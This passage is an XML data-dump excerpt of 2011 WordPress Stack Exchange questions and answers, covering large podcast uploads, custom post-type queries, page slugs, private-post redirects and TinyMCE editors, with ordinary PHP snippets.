  <row Id="11409" PostTypeId="1" AcceptedAnswerId="11411" CreationDate="2011-03-07T23:09:51.433" Score="2" ViewCount="310" Body="&lt;p&gt;I'm working with a church that uses WordPress to manage their website and podcast.  So far, they have a 200-step process every week for publishing the podcast (I exaggerate, but it is a huge step-by-step list).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among other things, they have to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Record the sermon&lt;/li&gt;&#xA;&lt;li&gt;Master the sermon recording&lt;/li&gt;&#xA;&lt;li&gt;Create an MP3&lt;/li&gt;&#xA;&lt;li&gt;Upload the MP3 via FileZilla to their server&lt;/li&gt;&#xA;&lt;li&gt;Create a Sermon (custom post type) in WordPress&lt;/li&gt;&#xA;&lt;li&gt;Link the uploaded MP3&lt;/li&gt;&#xA;&lt;li&gt;Publish the post&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There's not much WordPress can do about steps 1-3 at the moment, but I'd like to simplify steps 4-6 if I can.  I know some online applications are capable of very large uploads (GMail, Dropbox, and the like).  Each sermon is 70-80 MB and far too large to process in a simple HTML upload form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the Flash uploader capable of managing massive files like this if I max out the PHP filesize restrictions?  Is there a better way to handle a large upload within WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, they'd be able to create a new Sermon (custom post type), upload the MP3 from the edit Sermon page, and have WordPress automatically parse meta information (ID3 tags, duration, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would lead to a lower barrier of entry for new tech guys ... and I might be able to take a weekend off for once :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?  Ideas?&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-08T04:24:49.997" Title="Large Uploads in WordPress" Tags="&lt;uploads&gt;&lt;custom-post-types&gt;&lt;podcasting&gt;&lt;flash&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="11410" PostTypeId="2" ParentId="11402" CreationDate="2011-03-07T23:17:37.337" Score="0" ViewCount="" Body="&lt;p&gt;A clean way to do this is by making clever use of your functions.php file. &lt;a href=&quot;http://www.catswhocode.com/blog/10-wordpress-dashboard-hacks&quot; rel=&quot;nofollow&quot;&gt;Check this article on catswhocode.com&lt;/a&gt;. I think especially the last tip in this article is what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="3770" LastActivityDate="2011-03-07T23:17:37.337" />
  <row Id="11411" PostTypeId="2" ParentId="11409" CreationDate="2011-03-07T23:19:09.433" Score="5" ViewCount="" Body="&lt;p&gt;70-80MB is really not that large. Easily handled by the Flash uploader if your server is properly configured. Hell, I have a 2 gigabyte upload limit on my site. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they're writing the new &quot;post&quot;, they just click the add media button above the toolbar and upload it. It gets saved as an attachment that's tied to the post and bam, done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parsing ID3 information is more complicated, but doable. Follow the EXIF code as an example.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2011-03-07T23:19:09.433" CommentCount="1" />
  <row Id="11412" PostTypeId="2" ParentId="11409" CreationDate="2011-03-07T23:28:16.790" Score="7" ViewCount="" Body="&lt;p&gt;PHP should be able to handle it, but I'd recommend installing this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wplupload/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wplupload/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using it quite a bit lately, and I've found it to work quite well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it changes the uploader to use the plupload library, and gives chunk uploading in modern browsers, amongst other things. It will essentially bypass the max size restrictions in PHP via chunk uploading.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-03-07T23:28:16.790" CommentCount="2" />
  <row Id="11413" PostTypeId="2" ParentId="11403" CreationDate="2011-03-07T23:34:33.913" Score="0" ViewCount="" Body="&lt;p&gt;You won't get a proper sort on the &lt;code&gt;meta_value&lt;/code&gt; column because the values stored there aren't treated as integer values, but you can use a method similar to how it was done it WordPress back when we were using &lt;code&gt;meta_value_num&lt;/code&gt; to do sorting, which basically involved adding a number onto the front of the data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_users_ordered_by_meta( $key = '', $d = 'ASC' ) {&#xA;    global $wpdb;&#xA;    $d = ( strtoupper( $d ) == 'DESC' ) ? 'DESC' : 'ASC';&#xA;    if( '' == $key )&#xA;        return;&#xA;    $r = $wpdb-&amp;gt;get_results( $wpdb-&amp;gt;prepare( &quot;&#xA;        SELECT u.ID, u.display_name, u.user_nicename, um.meta_value &#xA;        FROM {$wpdb-&amp;gt;usermeta} um, {$wpdb-&amp;gt;users} u&#xA;        WHERE um.user_id = u.ID&#xA;        AND um.meta_key = %s&#xA;        ORDER by (0 + um.meta_value) $d&#xA;    &quot;, $key ) );&#xA;    return $r;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This then gives you a proper sort on the meta value column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figured you might like a function so you can call it wherever you need it, just pass it the meta key you have setup for users, and optionally change the sort order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$yourvar = get_users_ordered_by_meta('your-key');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sort descending.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$yourvar = get_users_ordered_by_meta('your-key', 'desc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll get an array of objects returned just like before, so i'll assume you know how to loop over that data and appropriate it for display, etc...(if not, post a comment).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-07T23:34:33.913" CommentCount="1" />
  <row Id="11414" PostTypeId="2" ParentId="11409" CreationDate="2011-03-07T23:35:55.737" Score="0" ViewCount="" Body="&lt;p&gt;I don't know if it is of any value for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for my bookmarks and images I was bored uploading and re syncing the stuff with the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I investigated running Dropbox on the server (http://wiki.dropbox.com/TipsAndTricks) which needs a specific version of Python. If you can manage that the rest is easy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let them just store the things they want to have on the server on their local c:\dropbox\sermons (folder shared with you) and... all the rest will be magically handled:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dropbox makes sure it lands on the server&lt;/li&gt;&#xA;&lt;li&gt;you pick it up from there with a cron which triggers the code to generate the custom post for the correct user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I never finished my own project since my shared hosting MediaTemple account did not have that version of python installed :) *)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*) what i did instead was having an LFTP script on my nas which does the same (in sync mode) (but obviously that is very specific for one user versus dropbox which is by now very common across users)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can create MP3's on the server...:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Record the sermon&lt;/li&gt;&#xA;&lt;li&gt;Master the sermon recording AND SAVE in C:\dropbox\sermon&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Server:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;Strike&gt;Create an MP3&lt;/Strike&gt; Create MP3 from raw audio file on Server&lt;/li&gt;&#xA;&lt;li&gt;&lt;Strike&gt;upload the MP3 via FileZilla to their server&lt;/Strike&gt;   -&lt;/li&gt;&#xA;&lt;li&gt;&lt;Strike&gt;Create a Sermon (custom post type) in WordPress&lt;/Strike&gt; Create Sermon post type based on new entries in c:\dropbox\sermon &lt;/li&gt;&#xA;&lt;li&gt;&lt;Strike&gt;Link the uploaded MP3&lt;/Strike&gt; during creation add the new mp3 in c:\dropbox\sermon in new post type&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;User:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Verify and Publish the post&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you monitor changes to existing files: if sound file: then: re lame MP3, move to upload folder, if you see changes in the title : update sermon post type with new title and put back to draft status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically that should work&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-03-07T23:48:24.777" LastActivityDate="2011-03-07T23:48:24.777" />
  <row Id="11415" PostTypeId="1" AcceptedAnswerId="11454" CreationDate="2011-03-07T23:40:10.523" Score="0" ViewCount="699" Body="&lt;p&gt;I have a custom query and I am filtering out events by custom field: event-month.  I simple filter our the events that dont have a month_number = to date(&quot;n&quot;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a pretty great little query, but I need to orderby another custom field, event_date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need a custom function or something to get this done.  I simply want to orderby =&gt; event_date&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I am currently using event-month for my query. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;        $event_query = new WP_Query(&#xA;        array( &#xA;          'post_type'   =&amp;gt; 'event',        // only query events&#xA;          'meta_key'    =&amp;gt; 'event-month',  // load up the event_date meta&#xA;          'order_by'    =&amp;gt; '',&#xA;          'order'       =&amp;gt; 'asc',         // ascending, so earlier events first&#xA;          'meta_query'  =&amp;gt; array(&#xA;             array(         // restrict posts based on meta values&#xA;              'key'     =&amp;gt; 'event-month',  // which meta to query&#xA;              'value'   =&amp;gt; date(&quot;n&quot;),  // value for comparison&#xA;              'compare' =&amp;gt; '=',          // method of comparison&#xA;              'type'    =&amp;gt; 'NUMERIC'         // datatype, we don't want to compare the string values&#xA;            ) // meta_query is an array of query ites&#xA;           ) // end meta_query array&#xA;          ) // end array&#xA;        ); // close WP_Query constructor call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&gt;&lt;/p&gt;&#xA;" OwnerUserId="2755" LastActivityDate="2011-03-08T10:42:59.027" Title="can I orderby one custom field and meta_query another in the same query" Tags="&lt;customization&gt;&lt;3.1&gt;" AnswerCount="2" />
  <row Id="11416" PostTypeId="1" AcceptedAnswerId="11627" CreationDate="2011-03-07T23:47:58.960" Score="0" ViewCount="252" Body="&lt;p&gt;I'm trying to exclude a category because I have a post that i have in multiple post. How do I like for example I have a post in the categories lastest news and pictures but I want to exclude latest news and show only the pictures name. I tried using $category = get_the_category();  echo $category[0]-&gt;cat_name; but that's no help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-03-10T01:02:37.893" Title="Exclude a category name using cat name" Tags="&lt;categories&gt;" AnswerCount="3" />
  <row Id="11417" PostTypeId="1" CreationDate="2011-03-07T23:59:05.683" Score="1" ViewCount="116" Body="&lt;p&gt;I am wondering whether there is an updated version of the methods described in the post below for customising the WordPress install.&#xA;&lt;a href=&quot;http://wpbits.wordpress.com/2007/08/10/automating-wordpress-customizations-the-installphp-way/&quot; rel=&quot;nofollow&quot;&gt;http://wpbits.wordpress.com/2007/08/10/automating-wordpress-customizations-the-installphp-way/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3334" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-07T16:32:43.440" LastActivityDate="2011-08-07T16:20:35.580" Title="Custom WordPress Installation" Tags="&lt;install&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11419" PostTypeId="2" ParentId="11331" CreationDate="2011-03-08T00:54:33.587" Score="0" ViewCount="" Body="&lt;p&gt;I solved my own problem. I needed to put &lt;code&gt;flush_rewrite_rules( false );&lt;/code&gt; after my &lt;code&gt;register_post_type&lt;/code&gt; function. The reason it wasn't working is because it was returning the page with a 404 error, so I figured out it was a permalinks problem and the code above solved it for me.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-08T00:54:33.587" />
  <row Id="11420" PostTypeId="1" CreationDate="2011-03-08T00:56:32.977" Score="0" ViewCount="76" Body="&lt;p&gt;How can I disable or at least modify the default content inserted on a fresh wordpress install? For example to change the category from Uncategorised to News.&lt;/p&gt;&#xA;" OwnerUserId="3334" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-07T09:07:13.683" LastActivityDate="2011-04-07T09:07:13.683" Title="Disable creation of default content during installation" Tags="&lt;install&gt;" AnswerCount="2" />
  <row Id="11422" PostTypeId="2" ParentId="11392" CreationDate="2011-03-08T01:04:25.243" Score="0" ViewCount="" Body="&lt;p&gt;Whew - Ok I figured it out. First off thanks Pippin and Peter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it apparently confuses some wp plugins if a specific collate hasn't been declared in wp-config:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/** Database Charset to use in creating database tables. */&#xA;define('DB_CHARSET', 'utf8');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/** The Database Collate type. Don't change this if in doubt. */&#xA;define('DB_COLLATE', 'utf8_general_ci');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;both utf8_general_ci &amp;amp; utf8_unicode_ci&lt;/p&gt;&#xA;&#xA;&lt;p&gt;work correctly. Umlauts and acutes all now show correctly!&lt;/p&gt;&#xA;" OwnerUserId="3498" LastActivityDate="2011-03-08T01:04:25.243" />
  <row Id="11423" PostTypeId="2" ParentId="11420" CreationDate="2011-03-08T01:27:54.827" Score="0" ViewCount="" Body="&lt;p&gt;Its prob not worth the trouble pre-install unless you have a specific concern, it will take much less time to do the following, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log in and change the name &quot;uncategorised' to something of your liking.&lt;br&gt;&#xA;The default content contains 1 post and 1 comment, go ahead and trash them.&lt;br&gt;&#xA;Done.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-08T01:27:54.827" CommentCount="1" />
  <row Id="11424" PostTypeId="2" ParentId="11416" CreationDate="2011-03-08T01:49:04.653" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$recentPosts = new WP_Query(); $recentPosts-&amp;gt;query('cat=-3'); //-3 makes sure it shows all categories except for ID number 3&#xA;        while ($recentPosts-&amp;gt;have_posts()) : $recentPosts-&amp;gt;the_post(); &#xA;&#xA;the_title();&#xA;the_content();        &#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would something like this Work?&lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-03-08T01:49:04.653" CommentCount="1" />
  <row Id="11425" PostTypeId="2" ParentId="10554" CreationDate="2011-03-08T02:37:22.200" Score="0" ViewCount="" Body="&lt;p&gt;I am having this same issue with trying to burn a feed in WP 3.1 on a client site. I have permalinks enabled and I can pull the feeds when I use this URL: &lt;a href=&quot;http://domainname.com/feed/rss/&quot; rel=&quot;nofollow&quot;&gt;http://domainname.com/feed/rss/&lt;/a&gt; and manually enter that into the web browser. It will not validate in Feedburner though and there are only 2 very small posts, so it's not a size issue. Does anyone have a workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the OP said he re-installed his blog... what did you do? Overwrite the files? Please let us know what you did specifically, step by step. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3787" LastEditorUserId="3787" LastEditorDisplayName="" LastEditDate="2011-03-08T04:33:39.263" LastActivityDate="2011-03-08T04:33:39.263" CommentCount="1" />
  <row Id="11426" PostTypeId="1" AcceptedAnswerId="11428" CreationDate="2011-03-08T02:55:29.303" Score="1" ViewCount="165" Body="&lt;p&gt;How can I get the slug of a page or post?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-03-08T05:27:11.850" Title="How can I get page slug" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="11427" PostTypeId="1" AcceptedAnswerId="12041" CreationDate="2011-03-08T02:56:53.393" Score="2" ViewCount="306" Body="&lt;p&gt;How do I 301 redirect private pages, rather than 404 them? If a post is private, WordPress filters it out in the SQL query, so there are no $post variables to work with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like for this code to work, but doesn't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp','redirect_stuffs', 0);&#xA;function redirect_stuffs(){&#xA;global $post;&#xA;    if ( $post-&amp;gt;post_status == &quot;private&quot; &amp;amp;&amp;amp; !is_admin() ):&#xA;        wp_redirect(&quot;http://dangayle.com/&quot;,301);&#xA;        exit();&#xA;    endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know where that is set earlier than &lt;code&gt;wp&lt;/code&gt;, other than the fact that I know it's a user role issue. If I could set a non-logged in user to have that capability, it would probably fix the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$publicReader -&amp;gt; add_cap('read_private_posts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with add_cap is that only logged-in users have capabilities. &lt;/p&gt;&#xA;" OwnerUserId="10" LastEditorUserId="10" LastEditorDisplayName="" LastEditDate="2011-03-13T18:46:55.097" LastActivityDate="2011-03-14T22:35:19.900" Title="How to 301 private posts rather than 404?" Tags="&lt;wp-redirect&gt;&lt;post-status&gt;&lt;add-cap&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="2" />
  <row Id="11428" PostTypeId="2" ParentId="11426" CreationDate="2011-03-08T03:08:34.783" Score="2" ViewCount="" Body="&lt;p&gt;Inside of your loop you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;global $post;&#xA;&#xA;echo $post-&gt;post_name;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-03-08T03:08:34.783" />
  <row Id="11429" PostTypeId="2" ParentId="11417" CreationDate="2011-03-08T03:37:18.053" Score="0" ViewCount="" Body="&lt;p&gt;My first thought was the &lt;a href=&quot;http://pluginbuddy.com/purchase/backupbuddy/&quot; rel=&quot;nofollow&quot;&gt;BackupBuddy&lt;/a&gt; plugin from &lt;a href=&quot;http://ithemes.com/&quot; rel=&quot;nofollow&quot;&gt;iThemes&lt;/a&gt;. The downside is that it is very definitely not free. Actually, the code is all GPLv2, but you can't get it unless someone who has paid for it (like myself) gave it to you (which I'm not offering to do for ethical reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the basics of what they are doing is &lt;em&gt;not&lt;/em&gt; Rocket Surgery®. Basically you setup a WP install to be whatever you want your &quot;custom install&quot; to be, backup both the DB and all of the files, and then move those to wherever you want to do the install. The iThemes plugin is slick in that it handles rewriting all of the embedded urls in the DB, but that's pretty straightforward. Then there's a few values in wp-config.php you need to tweak, but again, it's not that difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing something along this line because I've gotten tired of always installing the same set of must-have plugins. I also like having a bunch of Lorem Ipsum pages so people aren't dealing with quite so much of a blank-site.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-03-08T03:37:18.053" CommentCount="2" />
  <row Id="11430" PostTypeId="2" ParentId="11409" CreationDate="2011-03-08T04:13:38.693" Score="1" ViewCount="" Body="&lt;p&gt;Here is what I do in our church:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use both audio files and video for our services, both live and on demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution I was able to come up with was a combination of wordpress and another server cluster running the Adobe flash communication server software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, I use adobe media encoder during the service in order to capture the live video and audio. I encode both .mp4 and a separate .mp3 audio file while the service is going on. This allows us to broadcast live and as the Adobe cluster is my own, I don't have to worry about commercials etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feed is sent to the Adobe server cluster for live and on demand distribution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Archive on demand videos/audio files:&#xA;Once the service is over and I click stop recording, the video and audio file become instantly available on the Adobe servers for later on demand viewing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress:&lt;br&gt;&#xA;I wrote a simple script that goes to the Adobe server and checks the customer folder for new files. If the script finds an mp4 file, then it automatically adds it to my wordpress site as a custom post-type 'sermon'. If the script finds an mp3 file then it automatically creates a custom post-type 'podcast'. These posts are saved as drafts, because many times you will have recordings that you do not want on the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Future ideas:&lt;br&gt;&#xA;There was a google summer of code project where php stream wrappers were introduced to WordPress. Frankly this is an incredibly powerful concept but needs another summer to finish the front end UI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this will allow, is to have the WordPress media gallery automatically search other 'places' like cdn's, flickr, etc, where the files show up as though they were part of the media gallery itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make things much easier if the project is finished this summer as in my system the media manager would automatically find the video and audio files on the Adobe server, allowing easy input into posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps provide some good ideas for you. I also am always looking for ways to streamline the process as I deal with a number of church's whose sites I host.&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-03-08T04:13:38.693" />
  <row Id="11432" PostTypeId="1" CreationDate="2011-03-08T04:24:05.810" Score="0" ViewCount="147" Body="&lt;p&gt;I'm looking for a plugin or some sort of script where a simple pop-up comes up and asks for a visitors e-mail for a newsletter. The client is stressing it be a pop-up of some sort. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3790" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-07T22:30:18.087" LastActivityDate="2011-06-07T08:00:40.477" Title="Popup form when entering website asking for e-mail address?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="11434" PostTypeId="2" ParentId="11432" CreationDate="2011-03-08T05:06:35.460" Score="0" ViewCount="" Body="&lt;p&gt;There is a popular Pop Up Domination plugin (paid one), for just that. I don't think we have a free one and that's why the internet is so easy to browse right now else every site would have it.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-08T05:06:35.460" />
  <row Id="11435" PostTypeId="2" ParentId="11426" CreationDate="2011-03-08T05:27:11.850" Score="1" ViewCount="" Body="&lt;p&gt;Outside the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$post_id = 11;&#xA;$post = get_post($post_id); &#xA;$slug = $post-&amp;gt;post_name;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-08T05:27:11.850" />
  <row Id="11437" PostTypeId="1" AcceptedAnswerId="11994" CreationDate="2011-03-08T05:40:53.110" Score="1" ViewCount="397" Body="&lt;p&gt;&lt;strong&gt;I've used this method to enter the first editor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_admin_theme_styles() {&#xA;    wp_enqueue_style('thickbox');&#xA;}&#xA;    add_action('admin_print_styles', 'add_admin_theme_styles');&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script('media-upload');&#xA;    wp_enqueue_script('thickbox');&#xA;    wp_enqueue_script('word-count');&#xA;    wp_enqueue_script('post');&#xA;    wp_enqueue_script('editor');&#xA;&#xA;function fb_change_mce_buttons( $initArray ) {&#xA;&#xA;        $initArray['theme_advanced_blockformats'] = 'p,address,pre,code,h3,h4,h5,h6';&#xA;        $initArray['theme_advanced_disable'] = 'strikethrough';&#xA;        $initArray['theme_advanced_buttons1'] = 'bold,italic,underline,bullist,justifyleft,justifycenter,justifyright,justifyfull,link,unlink';&#xA;        $initArray['theme_advanced_buttons2'] = 'fontselect, fontsizeselect,forecolor,backcolor';&#xA;        $initArray['width'] = '320px';&#xA;        $initArray['theme_advanced_resizing'] = 'false';&#xA;&#xA;        return $initArray;&#xA;     }&#xA;&#xA;     add_filter('tiny_mce_before_init', 'fb_change_mce_buttons');&#xA;&#xA;     add_filter( 'wp_default_editor', create_function('', 'return &quot;tinymce&quot;;') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and echoing the editor, in the option page section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_editor($options['MoobAboutText'], &quot;MoobAboutText&quot;, &quot;&quot;, true); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it worked like a charm. but when i tried to use &quot;the_editor&quot; once again, it got massed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best method to get this done? you know what? forget about &quot;best&quot;... give me &quot;working method&quot;, and it will do...&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-14T16:48:16.033" Title="two tinyMCE editors in the same page" Tags="&lt;theme-development&gt;&lt;editor&gt;&lt;options&gt;&lt;tinymce&gt;&lt;wysiwyg&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11438" PostTypeId="2" ParentId="11415" CreationDate="2011-03-08T05:41:58.523" Score="-1" ViewCount="" Body="&lt;p&gt;Remove 'meta_key' from params. It doesn't work in WP 3.1&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-08T05:41:58.523" CommentCount="1" />
  <row Id="11439" PostTypeId="1" AcceptedAnswerId="11447" CreationDate="2011-03-08T06:09:04.367" Score="0" ViewCount="116" Body="&lt;p&gt;In my last question, I asked &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11382/how-to-build-a-post-and-comment-editing-form-in-a-page&quot;&gt;How to build a post and comment editing form in a page?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in order to edit the custom post type (called Question) I have to reference the &lt;strong&gt;edit page&lt;/strong&gt; and the &lt;strong&gt;ID&lt;/strong&gt; of the custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a file called &lt;strong&gt;edit-question.php&lt;/strong&gt; (located in the theme's folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And created a page called &lt;strong&gt;Edit Question&lt;/strong&gt; in the Wordpress admin panel (and assigned the template file &lt;strong&gt;edit-question.php&lt;/strong&gt; to it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And placed the following code to display the edit link right before the loops ends (&lt;strong&gt;loop-question.php&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php endif; // This was the if statement that broke the loop into three parts based on categories. ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ($post-&amp;gt;post_author = $current_user-&amp;gt;ID) : ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/edit-question.php?qpost_id=&amp;lt;?php $post-&amp;gt;ID ?&amp;gt;&quot;&amp;gt;Edit!&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // End the loop. Whew. ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click the &lt;strong&gt;Edit!&lt;/strong&gt; link I get the following in my URL bar: &lt;code&gt;http://localhost/qaf/edit-question.php?qpost_id=&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the default edit link of Wordpress looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/qaf/wp-admin/post.php?post=61&amp;amp;action=edit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think I have to make something similar except the &lt;code&gt;action=edit&lt;/code&gt; part (not very sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-08T08:44:23.643" Title="Problem creating an edit link for a custom post type" Tags="&lt;links&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="11440" PostTypeId="2" ParentId="11427" CreationDate="2011-03-08T06:33:21.850" Score="1" ViewCount="" Body="&lt;p&gt;It seems to me that you shouldn't return either 404 or 301 - you should return either 401 (Unauthorized / authentication required, though you won't accept any authentication offered) or 403 (Rejected, aka I know what you're asking for and you can't have it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an abandoned plugin &lt;a href=&quot;https://wordpress.org/extend/plugins/private-page-forbidden/&quot; rel=&quot;nofollow&quot;&gt;Private Page Forbidden&lt;/a&gt; that might be worth looking at for guidance, though at a casual glance it seems to want to convert 404 into 403 which seems like a bad idea. Unfortunately while there's been a variety of discussion of options (see &lt;a href=&quot;https://core.trac.wordpress.org/ticket/10551&quot; rel=&quot;nofollow&quot;&gt;https://core.trac.wordpress.org/ticket/10551&lt;/a&gt; and related) the milestone for fixes has gradually moved to &quot;Future 